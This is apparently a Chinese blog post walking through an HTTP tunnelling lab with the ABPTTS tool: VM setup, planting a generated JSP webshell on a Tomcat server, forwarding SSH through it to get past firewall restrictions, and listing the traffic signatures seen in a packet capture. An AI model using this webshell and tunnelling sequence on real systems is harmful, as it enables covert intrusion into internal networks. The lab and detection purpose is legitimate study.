Http隧道

介绍

通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。HTTP隧道用于在被限制的网络连接(包括防火墙、NAT和ACL)以及其他限制的情况下在两台计算机之间建立网络链接。

适用环境

获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议都不能出网,唯一的数据通道是webshell搭建正向代理。

abptts

abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。

将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。

只支持aspx和jsp。不支持php

环境搭建

网络情况

虚拟机之间都采用桥接模式,能够互相访问到。tomcat服务器和一个虚拟机组成内网环境。tomcat服务器采用两个网卡。一个对内,形成内网环境,一个对外,可以被kali访问到。

攻击机 Kali Linux 2022.3 amd64 【搭建在MacBookPro上,x86架构】 IP:192.168.0.101

tomcat 服务器 CentOs-Steam-9 Arm64 【搭建在Mac mini pd虚拟机上,ARM架构】外网IP:192.168.0.102 内网IP:10.37.129.1

ubuntu 内网机 【搭建在Mac mini pd虚拟机上,ARM架构】 IP:10.37.129.3

连通情况

kali可以ping通192.168.0.102,可以访问到192.168.0.102:8080的tomcat服务器。

kali无法访问内网机器10.37.129.3

思路整理

攻击机A(kali)拿到了服务器B(tomcat centos)的权限。B通过22端口去连接内网机器C(ubuntu),然后把B的22端口映射到攻击机A的某端口上。实现了隧道技术。这样去访问A的那个映射端口,就相当于访问B的22端口。这样走的是http协议。就可以破解了它的限制。(限制udp、tcp这些不能出网)

攻击机kali

可选

需要python2、pip2的版本

sudo hwclock --hctosys 
sudo apt-get update

安装pip2的方法

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
export PATH=/home/<usrname>/.local/bin:$PATH    # 添加到普通用户
export PATH=/root/.local/bin:$PATH   # 添加到root用户

安装httplib2

pip install httplib2

安装crypto组件

pip install -i https://pypi.douban.com/simple/ pycryptodome

下载abptts

git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS

生成对应webshell,会在当前目录下生成webshell文件,里面存放着jsp和aspx的webshell文件

python2 abpttsfactory.py -o webshell

ubuntu上面的安装方法

ubuntu服务器

安装python2

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py
pip -V

安装httplib2

pip install httplib2

安装crypto组件

pip install -i https://pypi.douban.com/simple/ pycryptodome

安装abptts

git clone https://github.com/nccgroup/ABPTTS.git

生成webshell

python2 abpttsfactory.py -o webshell


内网机器 centos

安装tomcat

  1. 下载tomcat,选用了8.0版本

  2. 安装Java

    https://www.oracle.com/java/technologies/downloads/#java8

    登录下载需要的java包,选tar.gz的

    把java包放进centos,解压到javaweb目录下

    tar -zxv -f jdk-8u341-linux-aarch64.tar.gz -C /usr/local/java
    

    设置环境变量

    vim /etc/profile
    

    添加

    export JAVA_HOME=/usr/local/java/jdk1.8.0_341
    export JRE_HOME=${JAVA_HOME}/jre
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    export PATH=${JAVA_HOME}/bin:$PATH
    

    使文件生效

    source /etc/profile
    

    添加软链接

    ln -s /usr/local/java/jdk1.8.0_341/bin/java /usr/bin/java
    

    检查

    java -version
    

  3. 安装tomcat

    新建tomcat文件夹

    mkdir /usr/local/Tomcat8
    tar -zxvf apache-tomcat-8.5.82.tar.gz -C /usr/local/Tomcat8/
    

    提权

    chmod +x /usr/local/Tomcat8/apache-tomcat-8.5.82/bin/*.sh
    

    启动tomcat

    cd /usr/local/Tomcat8/apache-tomcat-8.5.82/bin
    ./startup.sh
    

    访问站点

    curl 127.0.0.1:8080
    

  4. 使其他机器可以访问到它的网站

    防火墙的一些设置

    sudo dnf install firewalld -y
    systemctl unmask firewalld
    sudo systemctl enable firewalld --now
    systemctl status firewalld
    

    firewall-cmd --permanent --zone=public --add-port=8080/tcp  
    firewall-cmd --reload
    firewall-cmd --zone=public --query-port=8080/tcp
    

  5. 同一个局域网的机器可以成功访问到centos上面的tomcat

攻击过程

kali

将生成的webshell,上传到tomcat服务器(采用scp上传就可以)

cd ABPTTS/webshell
scp abptts.jsp root@192.168.0.102:/usr/local/Tomcat8/apache-tomcat-8.5.82/webapps/ROOT

上传成功

tomcat服务器centos

ssh链接内网机器

ssh root@10.37.129.3


kali

把centos tomcat的22端口映射到攻击机的7777端口上

cd ABPTTS
python2 abpttsclient.py -c webshell/config.txt -u http://192.168.0.102:8080/abptts.jsp -f 127.0.0.1:7777/127.0.0.1:22

在攻击机上使用ssh链接127.0.0.1:7777就直连到centos tomcat机器上了

ssh root@127.0.0.1 -p 7777

抓包分析

在tomcat centos 服务器上,监听外网网口。kali连接。抓取流量包分析

走的是http协议

追踪http数据流,发现请求头里都包含以下流量特征:

是解密用的key

HorrendousDepartment=

有一个特殊字段

x-nearness-ennobling-auditioned: tJRfAOSJ28HF71+Ah/1GrM7mmOBjbe4CnmjTQV7dgiM=

固定的user-agent

user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)

参考文章

https://www.freebuf.com/sectool/259855.html

Gryffinbit

评论